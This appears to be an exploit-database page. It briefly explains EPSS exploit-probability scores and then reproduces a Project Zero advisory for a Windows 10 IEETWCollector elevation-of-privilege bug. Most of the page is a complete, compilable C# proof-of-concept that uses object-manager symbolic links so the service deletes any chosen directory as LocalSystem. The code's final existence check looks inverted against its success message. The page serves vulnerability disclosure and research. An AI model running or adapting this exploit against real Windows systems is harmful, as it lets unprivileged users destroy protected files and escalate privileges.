The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1093 Windows: IEETWCollector Arbitrary Directory/File Deletion EoP Platform: Windows 10 10586 (not tested on anything else) Class: Elevation of Privilege Summary: When cleaning up an ETW session the IEETWCollector service deletes its files and directories as LocalSystem allowing a user to delete arbitrary files or directories on the system. Description: When the IEETWCollection session is closed the service will call CIEEtwSessionData::DeleteSessionFiles which will delete the ETW log file and the directory in which it was stored. The directory is specified by the user during the CIEEtwCollector::CreateCollectionSession call to set up the session. While creating the log directory is done under impersonation (so we can’t create arbitrary directories) the cleanup is not. Therefore we can use symbolic link attacks to redirect the ETL and directory to arbitrary files or directory and when cleanup occurs it will delete them as LocalSystem. Note due to the requirements for symbolic link attacks this should only be exploitable from a normal user even though the service is accessible from any AppContainer or Low IL application. Also worth noting that the ETL file is created outside of impersonation and so could also be redirected to create an arbitrary file, although the contents would be restricted to what could be sent to the logger. As a final note it looks like CIEEtwSessionData::DeleteSessionFiles is called via a number of routes, including when the COM object is released and when the process exits. Therefore using CoImpersonateClient isn’t appropriate (even in the Release case, as due to COM GC Release might not be called in the context of a remote call), you probably want to store the user token with the session and impersonate that in all situations. While deleting files/directories might not seem to be too important you can use it to delete files in ProgramData or Windows\Temp which normally are OWNER RIGHTS locked to the creator. This could then be recreated by the user due to default DACLs and abuse functionality of other services/applications. Proof of Concept: I’ve provided a PoC as a C# source code file. It only demonstrates the deletion of a directory as that requires the least amount of setup. It uses the fact that if the loading of the agent DLL fails it will call the CIEEtwSessionData::DeleteSessionFiles method. 1) Compile the C# source code file. 2) Execute the poc passing the path to a directory to delete. This directory should already be empty, and to demonstrate EoP shouldn’t be deletable by the current user. 3) It should print that it successfully deleted the directory. Expected Result: The target directory isn’t deleted. Observed Result: The target directory is deleted. */ using Microsoft.Win32.SafeHandles; using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Runtime.InteropServices; using System.Security.AccessControl; namespace NS { class Program { [Flags] public enum AttributeFlags : uint { None = 0, Inherit = 0x00000002, Permanent = 0x00000010, Exclusive = 0x00000020, CaseInsensitive = 0x00000040, OpenIf = 0x00000080, OpenLink = 0x00000100, KernelHandle = 0x00000200, ForceAccessCheck = 0x00000400, IgnoreImpersonatedDevicemap = 0x00000800, DontReparse = 0x00001000, } [Flags] public enum GenericAccessRights : uint { None = 0, GenericRead = 0x80000000, GenericWrite = 0x40000000, GenericExecute = 0x20000000, GenericAll = 0x10000000, Delete = 0x00010000, ReadControl = 0x00020000, WriteDac = 0x00040000, WriteOwner = 0x00080000, Synchronize = 0x00100000, MaximumAllowed = 0x02000000, }; [Flags] enum DirectoryAccessRights : uint { Query = 1, Traverse = 2, CreateObject = 4, CreateSubDirectory = 8, GenericRead = 0x80000000, GenericWrite = 0x40000000, GenericExecute = 0x20000000, GenericAll = 0x10000000, Delete = 0x00010000, ReadControl = 0x00020000, WriteDac = 0x00040000, WriteOwner = 0x00080000, Synchronize = 0x00100000, MaximumAllowed = 0x02000000, } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public sealed class UnicodeString { ushort Length; ushort MaximumLength; [MarshalAs(UnmanagedType.LPWStr)] string Buffer; public UnicodeString(string str) { Length = (ushort)(str.Length * 2); MaximumLength = (ushort)((str.Length * 2) + 1); Buffer = str; } } [DllImport("ntdll.dll")] static extern int NtClose(IntPtr handle); public sealed class SafeKernelObjectHandle : SafeHandleZeroOrMinusOneIsInvalid { public SafeKernelObjectHandle() : base(true) { } public SafeKernelObjectHandle(IntPtr handle, bool owns_handle) : base(owns_handle) { SetHandle(handle); } protected override bool ReleaseHandle() { if (!IsInvalid) { NtClose(this.handle); this.handle = IntPtr.Zero; return true; } return false; } } public enum SecurityImpersonationLevel { Anonymous = 0, Identification = 1, Impersonation = 2, Delegation = 3 } public enum SecurityContextTrackingMode : byte { Static = 0, Dynamic = 1 } [StructLayout(LayoutKind.Sequential)] public sealed class SecurityQualityOfService { int Length; public SecurityImpersonationLevel ImpersonationLevel; public SecurityContextTrackingMode ContextTrackingMode; [MarshalAs(UnmanagedType.U1)] public bool EffectiveOnly; public SecurityQualityOfService() { Length = Marshal.SizeOf(this); } } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public sealed class ObjectAttributes : IDisposable { int Length; IntPtr RootDirectory; IntPtr ObjectName; AttributeFlags Attributes; IntPtr SecurityDescriptor; IntPtr SecurityQualityOfService; private static IntPtr AllocStruct(object s) { int size = Marshal.SizeOf(s); IntPtr ret = Marshal.AllocHGlobal(size); Marshal.StructureToPtr(s, ret, false); return ret; } private static void FreeStruct(ref IntPtr p, Type struct_type) { Marshal.DestroyStructure(p, struct_type); Marshal.FreeHGlobal(p); p = IntPtr.Zero; } public ObjectAttributes() : this(AttributeFlags.None) { } public ObjectAttributes(string object_name, AttributeFlags attributes) : this(object_name, attributes, null, null, null) { } public ObjectAttributes(AttributeFlags attributes) : this(null, attributes, null, null, null) { } public ObjectAttributes(string object_name) : this(object_name, AttributeFlags.CaseInsensitive, null, null, null) { } public ObjectAttributes(string object_name, AttributeFlags attributes, SafeKernelObjectHandle root, SecurityQualityOfService sqos, GenericSecurityDescriptor security_descriptor) { Length = Marshal.SizeOf(this); if (object_name != null) { ObjectName = AllocStruct(new UnicodeString(object_name)); } Attributes = attributes; if (sqos != null) { SecurityQualityOfService = AllocStruct(sqos); } if (root != null) RootDirectory = root.DangerousGetHandle(); if (security_descriptor != null) { byte[] sd_binary = new byte[security_descriptor.BinaryLength]; security_descriptor.GetBinaryForm(sd_binary, 0); SecurityDescriptor = Marshal.AllocHGlobal(sd_binary.Length); Marshal.Copy(sd_binary, 0, SecurityDescriptor, sd_binary.Length); } } public void Dispose() { if (ObjectName != IntPtr.Zero) { FreeStruct(ref ObjectName, typeof(UnicodeString)); } if (SecurityQualityOfService != IntPtr.Zero) { FreeStruct(ref SecurityQualityOfService, typeof(SecurityQualityOfService)); } if (SecurityDescriptor != IntPtr.Zero) { Marshal.FreeHGlobal(SecurityDescriptor); SecurityDescriptor = IntPtr.Zero; } GC.SuppressFinalize(this); } ~ObjectAttributes() { Dispose(); } } public static void StatusToNtException(int status) { if (status < 0) { throw new NtException(status); } } public class NtException : ExternalException { [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] private static extern IntPtr GetModuleHandle(string modulename); [Flags] enum FormatFlags { AllocateBuffer = 0x00000100, FromHModule = 0x00000800, FromSystem = 0x00001000, IgnoreInserts = 0x00000200 } [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] private static extern int FormatMessage( FormatFlags dwFlags, IntPtr lpSource, int dwMessageId, int dwLanguageId, out IntPtr lpBuffer, int nSize, IntPtr Arguments ); [DllImport("kernel32.dll")] private static extern IntPtr LocalFree(IntPtr p); private static string StatusToString(int status) { IntPtr buffer = IntPtr.Zero; try { if (FormatMessage(FormatFlags.AllocateBuffer | FormatFlags.FromHModule | FormatFlags.FromSystem | FormatFlags.IgnoreInserts, GetModuleHandle("ntdll.dll"), status, 0, out buffer, 0, IntPtr.Zero) > 0) { return Marshal.PtrToStringUni(buffer); } } finally { if (buffer != IntPtr.Zero) { LocalFree(buffer); } } return String.Format("Unknown Error: 0x{0:X08}", status); } public NtException(int status) : base(StatusToString(status)) { } } [DllImport("ntdll.dll")] static extern int NtCreateDirectoryObject(out IntPtr Handle, DirectoryAccessRights DesiredAccess, ObjectAttributes ObjectAttributes); [DllImport("ntdll.dll")] static extern int NtOpenDirectoryObject(out IntPtr Handle, DirectoryAccessRights DesiredAccess, ObjectAttributes ObjectAttributes); static SafeKernelObjectHandle CreateDirectory(SafeKernelObjectHandle root, string path) { using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive, root, null, null)) { IntPtr handle; StatusToNtException(NtCreateDirectoryObject(out handle, DirectoryAccessRights.GenericAll, obja)); return new SafeKernelObjectHandle(handle, true); } } static SafeKernelObjectHandle OpenDirectory(string path) { using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive)) { IntPtr handle; StatusToNtException(NtOpenDirectoryObject(out handle, DirectoryAccessRights.MaximumAllowed, obja)); return new SafeKernelObjectHandle(handle, true); } } [DllImport("ntdll.dll")] static extern int NtCreateSymbolicLinkObject( out IntPtr LinkHandle, GenericAccessRights DesiredAccess, ObjectAttributes ObjectAttributes, UnicodeString DestinationName ); static SafeKernelObjectHandle CreateSymbolicLink(SafeKernelObjectHandle directory, string path, string target) { using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive, directory, null, null)) { IntPtr handle; StatusToNtException(NtCreateSymbolicLinkObject(out handle, GenericAccessRights.MaximumAllowed, obja, new UnicodeString(target))); return new SafeKernelObjectHandle(handle, true); } } static List CreateChainForPath(SafeKernelObjectHandle root, string path) { string[] parts = path.Split('\\'); List ret = new List(); ret.Add(root); foreach (string part in parts) { ret.Add(CreateDirectory(ret.Last(), part)); } return ret; } [DllImport("ole32.dll")] static extern int CoInitializeSecurity( IntPtr pSecDesc, int cAuthSvc, IntPtr asAuthSvc, IntPtr pReserved1, int dwAuthnLevel, int dwImpLevel, IntPtr pAuthList, int dwCapabilities, IntPtr pReserved3 ); /* Memory Size: 56 */ [StructLayout(LayoutKind.Sequential)] struct CreateCollectionSessionRequestData { /* Offset: 0 */ public IntPtr AgentName; /* Offset: 8 */ public Guid AgentClsid; /* Offset: 24 */ public IntPtr LogName; /* Offset: 32 */ public Guid LogGuid; /* Offset: 48 */ public short Member4; }; /* Memory Size: 16 */ [StructLayout(LayoutKind.Sequential)] struct CreateCollectionSessionReplyData { /* Offset: 0 */ public long Member0; /* Offset: 8 */ public long Member1; }; /* Memory Size: 16 */ [StructLayout(LayoutKind.Sequential)] struct Struct_0 { /* Offset: 0 */ public IntPtr Member0; /* Offset: 8 */ public int Member1; }; [ComImport, Guid("72e78ac2-a1ff-4c6e-be0b-2ca619b2b59b"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] interface IIEEtwCollector { void CreateCollectionSession( /* Stack Offset: 8 */ [In] IIEEtwCollectorHost p0, /* Stack Offset: 16 */ [In] ref CreateCollectionSessionRequestData p1, /* Stack Offset: 24 */ [Out] out IIEEtwCollectorSession p2, /* Stack Offset: 32 */ out CreateCollectionSessionReplyData p3); } [Guid("f74b1266-ff39-4b62-8b6b-29c09920852c"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown), ComImport] interface IIEEtwCollectorHost { void Proc3(/* Stack Offset: 8 */ [In] ref Guid p0, /* Stack Offset: 16 */ [In] ref Struct_0 p1); void Proc4(/* Stack Offset: 8 */ [In] ref Guid p0, /* Stack Offset: 16 */ [In] [MarshalAs(UnmanagedType.LPWStr)] string p1); } [Guid("ab8ee4b6-26ec-42d4-a7fc-06b4fb10e67a"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown), ComImport] interface IIEEtwCollectorSession { void Proc3(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [In] /* enum */ short p1); void Proc4(); void Proc5(/* Stack Offset: 8 */ [Out] [MarshalAs(UnmanagedType.BStr)] out string p0); void Proc6(/* Stack Offset: 8 */ [In] ref Guid p0, /* Stack Offset: 16 */ [In] ref Guid p1, /* Stack Offset: 24 */ [Out] /* iid_is param offset: 16 */ [MarshalAs(UnmanagedType.IUnknown)] out object p2); void Proc7();///* Stack Offset: 8 */ [In] struct Struct_2[]* p0, /* Stack Offset: 16 */ [In] int p1, /* Stack Offset: 24 */ [In, Out] struct Struct_3[]* p2); } [ComVisible(true)] class Host : IIEEtwCollectorHost { public void Proc3([In] ref Guid p0, [In] ref Struct_0 p1) { throw new NotImplementedException(); } public void Proc4([In] ref Guid p0, [In, MarshalAs(UnmanagedType.LPWStr)] string p1) { throw new NotImplementedException(); } } static void Main(string[] args) { try { if (args.Length < 1) { Console.WriteLine("Usage: dir_to_delete"); } string dir_to_delete = Path.GetFullPath(args[0]); if (!Directory.Exists(dir_to_delete)) { throw new Exception(String.Format("Directory {0} doesn't exist", dir_to_delete)); } int hr = CoInitializeSecurity(IntPtr.Zero, -1, IntPtr.Zero, IntPtr.Zero, 0, 3, IntPtr.Zero, 0, IntPtr.Zero); if (hr != 0) { Marshal.ThrowExceptionForHR(hr); } Type t = Type.GetTypeFromCLSID(new Guid("6CF9B800-50DB-46B5-9218-EACF07F5E414")); IIEEtwCollector collector = (IIEEtwCollector)Activator.CreateInstance(t); var dirs = CreateChainForPath(OpenDirectory(@"\??"), @"GLOBALROOT\RPC Control"); SafeKernelObjectHandle symlink = CreateSymbolicLink(dirs.Last(), @"xyz", @"\??\" + Path.GetTempPath()); try { Directory.Delete(Path.GetTempPath() + Guid.Empty.ToString()); } catch (IOException) { } CreateCollectionSessionRequestData request = new CreateCollectionSessionRequestData(); request.LogName = Marshal.StringToBSTR(@"\\?\GLOBALROOT\RPC Control\xyz"); var dirs2 = CreateChainForPath(OpenDirectory(@"\RPC Control"), "xyz"); var symlink2 = CreateSymbolicLink(dirs2.Last(), Guid.Empty.ToString(), @"\??\" + dir_to_delete); request.LogGuid = Guid.Empty; request.AgentName = Marshal.StringToBSTR("abc.dll"); request.AgentClsid = Guid.Empty; IIEEtwCollectorSession session; CreateCollectionSessionReplyData reply; try { Console.WriteLine("Attemping to delete {0}", dir_to_delete); collector.CreateCollectionSession(new Host(), ref request, out session, out reply); } catch (Exception) { } if (!Directory.Exists(dir_to_delete)) { throw new Exception(String.Format("Deleting directory {0} failed", dir_to_delete)); } Console.WriteLine("[SUCCESS]: Deleted target directory"); } catch (Exception ex) { Console.WriteLine("[ERROR]: {0}", ex.Message); } } } }